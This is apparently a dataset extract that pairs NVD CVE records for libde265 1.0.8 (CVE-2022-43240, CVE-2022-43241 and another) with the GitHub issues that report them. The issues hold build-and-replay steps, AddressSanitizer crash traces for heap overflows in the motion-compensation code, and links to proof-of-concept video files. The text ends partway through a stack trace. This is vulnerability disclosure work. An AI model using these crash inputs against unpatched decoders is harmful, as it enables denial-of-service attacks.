"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/341"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/341
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x178e82) in void mc_chroma<unsigned short>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned short const*, int, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc7-1
./dec265/dec265 poc7-2
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: non-existing PPS referenced
WARNING: pps header invalid
=================================================================
==7775==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00007d140 at pc 0x7fd292960e83 bp 0x7ffcd0167ab0 sp 0x7ffcd0167aa0
READ of size 2 at 0x62f00007d140 thread T0
#0 0x7fd292960e82 in void mc_chroma<unsigned short>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned short const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x178e82)
#1 0x7fd292951b2d in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169b2d)
#2 0x7fd29295e90f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#3 0x7fd2929997e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#4 0x7fd29299b2cd in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b32cd)
#5 0x7fd29299c250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#6 0x7fd29299c091 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4091)
#7 0x7fd29299c091 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4091)
#8 0x7fd292993726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#9 0x7fd29299c9ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#10 0x7fd29299e70f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#11 0x7fd2928fd6d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#12 0x7fd2928fdec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#13 0x7fd2928fcc0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#14 0x7fd2928fc93d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#15 0x7fd2928ff43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#16 0x7fd2928ffab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#17 0x7fd2928e6e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#18 0x557bc2a8bbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#19 0x7fd292418c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#20 0x557bc2a899b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x62f00007d140 is located 3376 bytes to the right of 49168-byte region [0x62f000070400,0x62f00007c410)
allocated by thread T0 here:
#0 0x7fd292e0f790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7fd2929381cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7fd2929389e8 in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x1509e8)
#3 0x7fd29293ad1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7fd29291f0cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7fd292900824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7fd292903332 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b332)
#7 0x7fd292906d70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7fd2928fc246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7fd2928ff43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7fd2928ffab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7fd2928e6e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x557bc2a8bbc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7fd292418c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x178e82) in void mc_chroma<unsigned short>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned short const*, int, int, int, int)
Shadow bytes around the buggy address:
0x0c5e800079d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e800079e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e800079f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e80007a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e80007a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c5e80007a20: fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa
0x0c5e80007a30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e80007a40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e80007a50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e80007a60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e80007a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==7775==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc7-1
https://github.com/FDU-Sec/poc/blob/main/libde265/poc7-2
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in motion.cc: mc_chroma<unsigned short>
|
https://api.github.com/repos/strukturag/libde265/issues/341/comments
| 2 |
2022-10-10T14:44:20Z
|
2023-01-24T16:05:35Z
|
https://github.com/strukturag/libde265/issues/341
| 1,403,293,231 | 341 |
CVE-2022-43240
|
2022-11-02T14:15:13.313
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via ff_hevc_put_hevc_qpel_h_2_v_1_sse in sse-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/335"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/335
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x2831a1) in ff_hevc_put_hevc_qpel_h_2_v_1_sse(short*, long, unsigned char const*, long, int, int, short*)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc1
```
### ASAN
```
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: CTB outside of image area (concealing stream error...)
WARNING: slice header invalid
=================================================================
==8080==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80809038b9 at pc 0x7f807f61d1a2 bp 0x7fff6fd46c30 sp 0x7fff6fd46c20
READ of size 16 at 0x7f80809038b9 thread T0
#0 0x7f807f61d1a1 in ff_hevc_put_hevc_qpel_h_2_v_1_sse(short*, long, unsigned char const*, long, int, int, short*) (/libde265/build/libde265/liblibde265.so+0x2831a1)
#1 0x7f807f51137d in acceleration_functions::put_hevc_qpel(short*, long, void const*, long, int, int, short*, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x17737d)
#2 0x7f807f5128ab in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1788ab)
#3 0x7f807f503995 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169995)
#4 0x7f807f51090f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#5 0x7f807f54b7e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#6 0x7f807f54d264 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b3264)
#7 0x7f807f54e250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#8 0x7f807f54e218 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4218)
#9 0x7f807f54e218 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4218)
#10 0x7f807f54e218 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4218)
#11 0x7f807f545726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#12 0x7f807f54e9ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#13 0x7f807f55070f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#14 0x7f807f4af6d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#15 0x7f807f4afec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#16 0x7f807f4aec0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#17 0x7f807f4ae93d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#18 0x7f807f4b143e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#19 0x7f807f4b1ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#20 0x7f807f498e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#21 0x55c0d6940bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#22 0x7f807efcac86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#23 0x55c0d693e9b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x7f80809038b9 is located 169 bytes to the right of 131088-byte region [0x7f80808e3800,0x7f8080903810)
allocated by thread T0 here:
#0 0x7f807f9c1790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f807f4ea1cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f807f4ea92a in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15092a)
#3 0x7f807f4ecd1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f807f4d10cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f807f4b2824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7f807f4b57f5 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b7f5)
#7 0x7f807f4b8d70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7f807f4ae246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7f807f4b143e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7f807f4b1ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7f807f498e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x55c0d6940bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7f807efcac86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x2831a1) in ff_hevc_put_hevc_qpel_h_2_v_1_sse(short*, long, unsigned char const*, long, int, int, short*)
Shadow bytes around the buggy address:
0x0ff0901186c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff0901186d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff0901186e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff0901186f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff090118700: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0ff090118710: fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa
0x0ff090118720: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff090118730: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff090118740: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff090118750: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff090118760: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8080==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc1
### Environment
```
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
|
Heap-buffer-overflow in sse-motion.cc: ff_hevc_put_hevc_qpel_h_2_v_1_sse
|
https://api.github.com/repos/strukturag/libde265/issues/335/comments
| 2 |
2022-10-10T13:44:54Z
|
2023-01-24T16:06:27Z
|
https://github.com/strukturag/libde265/issues/335
| 1,403,205,674 | 335 |
CVE-2022-43241
|
2022-11-02T14:15:13.517
|
Libde265 v1.0.8 was discovered to contain an unknown crash via ff_hevc_put_hevc_qpel_v_3_8_sse in sse-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/338"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/338
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Unknown-crash (/libde265/build/libde265/liblibde265.so+0x27a238) in ff_hevc_put_hevc_qpel_v_3_8_sse(short*, long, unsigned char const*, long, int, int, short*)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc4
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: CTB outside of image area (concealing stream error...)
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: sps header invalid
WARNING: non-existing PPS referenced
WARNING: pps header invalid
WARNING: pps header invalid
=================================================================
==53150==ERROR: AddressSanitizer: unknown-crash on address 0x7f49fcbe480c at pc 0x7f49fb88c239 bp 0x7ffe0447d6d0 sp 0x7ffe0447d6c0
READ of size 8 at 0x7f49fcbe480c thread T0
#0 0x7f49fb88c238 in ff_hevc_put_hevc_qpel_v_3_8_sse(short*, long, unsigned char const*, long, int, int, short*) (/libde265/build/libde265/liblibde265.so+0x27a238)
#1 0x7f49fb78937d in acceleration_functions::put_hevc_qpel(short*, long, void const*, long, int, int, short*, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x17737d)
#2 0x7f49fb78a8ab in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1788ab)
#3 0x7f49fb77b995 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169995)
#4 0x7f49fb78890f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#5 0x7f49fb7c37e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#6 0x7f49fb7c576e in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b376e)
#7 0x7f49fb7c6250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#8 0x7f49fb7c6163 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4163)
#9 0x7f49fb7c6163 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4163)
#10 0x7f49fb7bd726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#11 0x7f49fb7c69ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#12 0x7f49fb7c870f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#13 0x7f49fb7276d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#14 0x7f49fb727ec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#15 0x7f49fb726c0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#16 0x7f49fb72693d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#17 0x7f49fb72943e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#18 0x7f49fb729ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#19 0x7f49fb710e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#20 0x564c47181bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#21 0x7f49fb242c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#22 0x564c4717f9b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x7f49fcbe4810 is located 0 bytes to the right of 131088-byte region [0x7f49fcbc4800,0x7f49fcbe4810)
allocated by thread T0 here:
